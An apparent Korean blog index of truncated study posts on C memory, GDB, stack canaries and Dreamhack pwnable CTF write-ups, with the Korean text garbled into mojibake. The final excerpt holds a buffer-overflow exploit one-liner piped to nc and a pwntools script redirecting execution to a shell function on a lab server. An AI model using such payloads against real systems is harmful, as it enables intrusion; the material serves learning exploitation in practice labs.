![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUyXhJ%2FbtrBgVDj3Ib%2FXAbzuck1VFdOxU2wM5Apzk%2Fimg.png)
ํ์ด๋ ? ์์ฒญ์ ๋ฐ๋ผ ํ ๋น๋๋ฉฐ chunk ํํ๋ก ๋๋ ์ ์๋ ์ธ์ ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ ํ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ ๋๋ malloc() ํจ์๋ฅผ ์ฌ์ฉํด์ผ ํจ malloc ํจ์์๋ ํฌ๊ธฐ๋ฅผ ์ ํ๋ ์ธ์๊ฐ ํ์ํ๊ณ , ๊ทธ ํฌ๊ธฐ๋งํผ ๊ณต๊ฐ์ ํ ์ธ๊ทธ๋จผํธ์ ํ ๋นํ๋ค. (Top Chunk๋ฅผ ์ฌ์ฉํด ๋ฉ๋ชจ๋ฆฌ ํ ๋น) ๊ทธ๋ฆฌ๊ณ ๋ณด์ด๋ ํฌ์ธํฐ๋ก ํ ๋นํ ๋ฉ๋ชจ๋ฆฌ์ ์์์ฃผ์๋ฅผ ๋ฆฌํดํ๋ค. mallocํจ์๊ฐ ์ด๋ค ์ด์ ๋ก ๋ฉ๋ชจ๋ฆฌ ํ ๋น์ ํ์ง ๋ชปํ๊ฒ ๋๋ฉด 0๊ฐ์ ๋ฆฌํดํ๋ค. malloc์ ๋์ํ๋ ํด์ ํจ์๋ free()์ด๋ค. free ํจ์์๋ ํฌ์ธํฐ ์ธ์๊ฐ ํ์ํ๊ณ , ๋์ค์ ๋ค์ ๊ทธ ๊ณต๊ฐ์ ์ฌ์ฉํ๋ ค๋ฉด ์ธ์ ํฌ์ธํฐ์ ๋ฉ๋ชจ๋ฆฌ ํ ๋น์ ํด์ ํ๋ค. char *char_ptr; // ํ ๋ฉ๋ชจ๋ฆฌ ํ ๋น (mem_size ๋ฐ์ดํธ ๋งํผ ํ ๋น) char_ptr = (ch..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. ๊ตฌ์กฐ์ฒด(structs) -> ์ฌ๋ฌ๊ฐ์ ๋ณ์๋ฅผ ๊ทธ๋ฃน์ผ๋ก ๋ฌถ์ด ํ๋์ฒ๋ผ ๋ค๋ฃจ๋ ๊ฒ์ด ๊ฐ๋ฅํ๊ฒ ํ๊ธฐ ์ํด ๊ตฌ์กฐ์ฒด๋ผ๋ ๊ฒ์ ์ฌ์ฉ -> ๊ตฌ์กฐ์ฒด๊ฐ ์ ์๋ ํ์๋ ์ฌ์ฉํ ์ ์๋ ๋ณ์ ํ์ ์ด ๋๊ณ , ๊ตฌ์กฐ์ฒด ํ์ ์ผ๋ก ๋ณ์๋ ํฌ์ธํฐ ์ ์ธ์ด ๊ฐ๋ฅํด์ง struct ๊ตฌ์กฐ์ฒด์ด๋ฆ *ํฌ์ธํฐ์ด๋ฆ = malloc(sizeof(struct ๊ตฌ์กฐ์ฒด์ด๋ฆ));๋ค์๊ณผ ๊ฐ์ ๊ตฌ์กฐ๋ก ๊ตฌ์กฐ์ฒด ํฌ์ธํฐ ์ ์ธ ๊ฐ๋ฅ ์๊ฐ ํจ์๋ฅผ ๋ค๋ฃฐ ๋ /usr/include/time.h์ ์ ์๋์ด ์๋ tm ๊ตฌ์กฐ์ฒด๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๋ ๊ฐ๋ฅํ๋ค. tm ๊ตฌ์กฐ์ฒด์ ์ ์ struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_y..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUJWhj%2FbtrAQfh7l5Z%2FzKoEDvj78q8PISuKsCVlO0%2Fimg.png)
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. C์ธ์ด์์ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์ผ๋ก๋ ํฌ๊ฒ 2๊ฐ์ง๊ฐ ์๋ค. 1. ํ์ผ ์์ ์ (File Descriptor) 2. ํ์ผ ์คํธ๋ฆผ (Filestream) - ํ์ผ ์คํธ๋ฆผ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ํ๋ก๊ทธ๋๋ฐ ํ๊ธฐ๋ ํธํ์ง๋ง ํ์ผ ์์ ์๊ฐ ์ข ๋ ์ง์ ์ ์ ( ํ์ผ์์ ์๋ ๋ก์ฐ๋ ๋ฒจ, ํ์ผ ์คํธ๋ฆผ์ ํ์ด๋ ๋ฒจ ์ ์ถ๋ ฅ์) ํ์ผ ์์ ์ - open() : ํจ์๋ฅผ ์ฝ๊ฑฐ๋ ์ธ ์ ์๊ฒ ํ์ผ์ ์ด๊ณ ํ์ผ ์์ ์๋ฅผ ๋ฆฌํดํ๋ค. ํ์ผ ์์ ์๋ ๋จ์ํ ์ ์ ๊ฐ์ด์ง๋ง ์ด๋ฆฐ ํ์ผ๋ง๋ค ๊ณ ์ ํ๋ค. ํ์ผ ์์ ์๋ ์ด๋ฆฐ ํ์ผ์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ์ ๊ฐ์ ์ธ์๋ก ๋ค๋ฅธ ํจ์์๊ฒ ๋๊ฒจ์ง๋ค. - close() : ํ์ผ ์์ ์๋ฅผ ์ธ์๋ก ์ฌ์ฉ - read() : ํ์ผ ์์ ์, ์ฝ๊ฑฐ๋ ์ธ ๋ฐ์ดํฐ๋ฅผ ..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. ๋ฉ๋ชจ๋ฆฌ ์ธ๊ทธ๋จผํธ ์ปดํ์ผ๋ ํ๋ก๊ทธ๋จ ๋ฉ๋ชจ๋ฆฌ๋ ์ฝ๋, ๋ฐ์ดํฐ, bss, ํ, ์คํ์ 5๊ฐ์ ์ธ๊ทธ๋จผํธ๋ก ๋๋๋ค. ์ฝ๋ ํ๋ก๊ทธ๋จ์ ๊ธฐ๊ณ์ด ๋ช ๋ น์ด ๋ค์ด์์ ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ฉด EIP๋ ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ๋งจ ์ฒ์ ์์น๋ก ์ค์ ๋๋ค. ๊ทธ๋ฆฌ๊ณ ํ๋ก์ธ์ค๋ ๋ค์ ์์ ์ ๋ฐ๋ณต ์คํํ๋ค. 1. EIP๊ฐ ๊ฐ๋ฆฌํค๊ณ ์๋ ๋ช ๋ น์ ์ฝ๋๋ค. 2. ๊ทธ ๋ช ๋ น์ ๊ธธ์ด๋ฅผ EIP์ ๋ํ๋ค. 3. 1๋จ๊ณ์์ ์ฝ์ ๋ช ๋ น์ ์ํํ๋ค. 4. 1๋จ๊ณ๋ก ๋์๊ฐ๋ค. - ์ฝ๋ ์ธ๊ทธ๋จผํธ๋ ๋ณ์๊ฐ ์๋ ์ฝ๋๋ง์ ์ ์ฅํ๊ณ ์์ผ๋ฏ๋ก ์ฐ๊ธฐ๊ฐ ๊ธ์ง๋์ด์๋ค. (์ฌ์ฉ์๊ฐ ํ๋ก๊ทธ๋จ ์ฝ๋๋ฅผ ๋ณ๊ฒฝํ์ง ๋ชปํ๊ฒ ๋ง๊ธฐ ์ํจ) ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ์ฐ๋ ค๋ ์๋๊ฐ ์์ ๊ฒฝ์ฐ ์ด์์ฒด์ ๊ฐ ๊ทธ ์ฌ์ค์ ์ฌ์ฉ์์๊ฒ ์๋ฆฌ๊ณ ํ๋ก๊ทธ๋จ์ ์ข ๋ฃ๋จ..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. GDB ์กฐ์ฌ ๋ช ๋ น ํ์ o : 8์ง๋ฒ x : 16์ง๋ฒ u : ๋ถํธ๊ฐ ์๋ ํ์ค 10์ง๋ฒ t : 2์ง๋ฒ ๋ฉ๋ชจ๋ฆฌ ๋จ์ผ ์ ๋์ ๊ธฐ๋ณธ ํฌ๊ธฐ๋ '์๋' ๋ผ ๋ถ๋ฆฌ๋ 4 byte (32bit ํ๊ฒฝ์์) b ๋จ์ผ ๋ฐ์ดํธ h 2byte์ ํํ์๋ w 4byte์ ์๋ g 8byte์ ์์ด์ธํธ eip ๋ ์ง์คํฐ : ํ๋ก์ธ์๊ฐ ์ฝ๊ณ ์๋ ํ์ฌ ๋ช ๋ น์ ์์น๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ช ๋ น ํฌ์ธํฐ ๋ ์ง์คํฐ i r eip : eip ๋ ์ง์คํฐ์ ํ์ฌ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์ x/x $eip : 16์ง๋ฒ์ผ๋ก eip๊ฐ ๊ฐ๊ณ ์๋ ๊ฐ ์ถ๋ ฅ ($eip๋ ๊ทธ ์๊ฐ eip๊ฐ ๊ฐ๊ณ ์๋ ๊ฐ์ ์๋ฏธํ๋ค.) x/xw $eip : 16์ง๋ฒ์ผ๋ก 4byte๋งํผ ์ถ๋ ฅ ( ๋ฆฌํ์๋์ x ) x/i $eip : eip ์์น..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUoUjz%2FbtryY9wenvb%2FTpePsjbzPVUrRISwtTks4k%2Fimg.png)
Return Address Overwrite: ๋ฐํ ์ฃผ์๋ฅผ ์ ์ฑ ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ ์ ธ ํ๋ Stack Canary: ์คํ ํ๋ ์์ ๋ฐํ ์ฃผ์ ์ ์ ๋๋คํ ์นด๋๋ฆฌ๋ฅผ ์ฃผ์ ํ์ฌ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๊ธฐ ์ด๋ ต๊ฒ ํจ Return to Shellcode: ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ์ ธ ์ฝ๋๋ฅผ ์ฃผ์ ํ ๋ฒํผ์ ์ฃผ์๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ ์ ธ ํ๋ ASLR: ์์ ๋ฒํผ์ ์ฃผ์๋ฅผ ์๊ธฐ ์ด๋ ต๊ฒ ํจ NX: ๊ฐ ์ธ๊ทธ๋จผํธ์ ๋ถํ์ํ ์คํ๊ถํ์ ์ ๊ฑฐํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๊ฐ ์์ ๋ฒํผ์ ์ฃผ์ ํ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ด๋ ต๊ฒํจ Return to Library -> NX๋ฅผ ์ฐํํ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ NX๋ก ์ธํด ์ฝ๋ ์์ญ ์ธ์๋ ์คํ๊ถํ์ด ์์ด์ง๊ธฐ ๋๋ฌธ์ ์คํ๊ถํ์ด ๋จ์์๋ ์ฝ๋ ์์ญ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ณ ์ํ๋ค. ํ๋ก์ธ์ค์ ์คํ ๊ถํ์ด ์๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FApwYY%2FbtryhNnOt3P%2FZn3Zk1nckxN7FzXeWKlL8k%2Fimg.png)
ํ๊ฒฝ ์ธํ Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(un..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci1nIY%2FbtrycDFGR2c%2FtG0KGaNr3AoViihf9txkk0%2Fimg.png)
checksec ./ํ์ผ์คํ๋ช # ํด๋น ํ์ผ์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ๋ค์ ๋ณด์ฌ์ค๋ค. pwntools ์ค์นํ๋ฉด ์คํ ๊ฐ๋ฅ ์นด๋๋ฆฌ๊ฐ ์ ์ฉ๋์ด ์๋ ๊ฒ์ ํ์ธ #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); //byte printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("..
์ค๋์ ์คํ ์นด๋๋ฆฌ์ ๋ํด ๊ณต๋ถ๋ฅผ ํ ๊ฒ์ด๋ค! ์คํ์นด๋๋ฆฌ๋? - ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก๋ถํฐ ๋ฐํ ์ฃผ์๋ฅผ ๋ณดํธํ๋ ๋ณดํธ๊ธฐ๋ฒ - ์คํ ์นด๋๋ฆฌ๋ ํจ์์ ํ๋กค๋ก๊ทธ์์ ์คํ ๋ฒํผ์ ๋ฐํ ์ฃผ์ ์ฌ์ด์ ์์์ ๊ฐ์ ์ฝ์ ํ๊ณ , ํจ์์ ์ํ๋ก๊ทธ์์ ํด๋น ๊ฐ์ ๋ณ์กฐ๋ฅผ ํ์ธํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค. ์นด๋๋ฆฌ ๊ฐ์ ๋ณ์กฐ๊ฐ ํ์ธ๋๋ฉด ํ๋ก์ธ์ค๋ ๊ฐ์ ๋ก ์ข ๋ฃ๋๋ค!@! fs? -> TLS(Thread Local Storage)์ ์นด๋๋ฆฌ๋ฅผ ๋น๋กฏํ์ฌ ํ๋ก์ธ์ค ์คํ์ ํ์ํ ์ฌ๋ฌ ๋ฐ์ดํฐ๊ฐ ์ ์ฅ๋๋ค๊ณ ๋ง ์ผ๋จ ์๊ณ ์์ Ex) ์๋ฅผ ๋ค์ด buf[8]์ readํ๋ ํจ์์ ๋ํด ์คํ๋ฒํผ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ์ ์งํํ ๊ฒฝ์ฐ rbp-8 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ์ fs:0x28 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ๋ฅผ xorํด์ ์ฐ์ฐ ๊ฒฐ๊ณผ๊ฐ 0์ด๋ฉด je ์ฑ๊ณต์ผ๋ก ์ ์ ๋ฐํ! ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅธ ๊ฒฝ..
ํผ๊ณคํ๋ฐ ์ด์ฌํ ๋์์ผ๋๊น ์์ฌ์ ์ผ๋จ ํ๋ฌธ์ ํ๊ณ ์๋ ค๊ตฌ,,, Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ํ๊ฒฝ์ ๋ค์๊ณผ ๊ฐ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() ..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDLxh9%2Fbtrx6LJEUOa%2Fk3jkLcOpdi5BXaBOVgdtvk%2Fimg.png)
pwnable ์ด๋ณด์ธ ๋์๊ฒ๋ ์ด๋ ค์ด ๋ฌธ์ ์๋ค.. ์๊ฒฉ ์๋ฒ ํ๊ฒฝ์ ์ด๋ฌํ๋ค Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ์ฐ์ 32bit ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์คํํ๋ ์๊ตฌ์กฐ๋ buf(n) | sfp(4) | ret(4) ์๋ฌํ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL..
![article thumbnail](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxZOe6%2Fbtrx4SvCyUv%2F5vXsSqJTAY1OJaIuBqZKz1%2Fimg.png)
Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ๋ ์ด์ฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์ฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..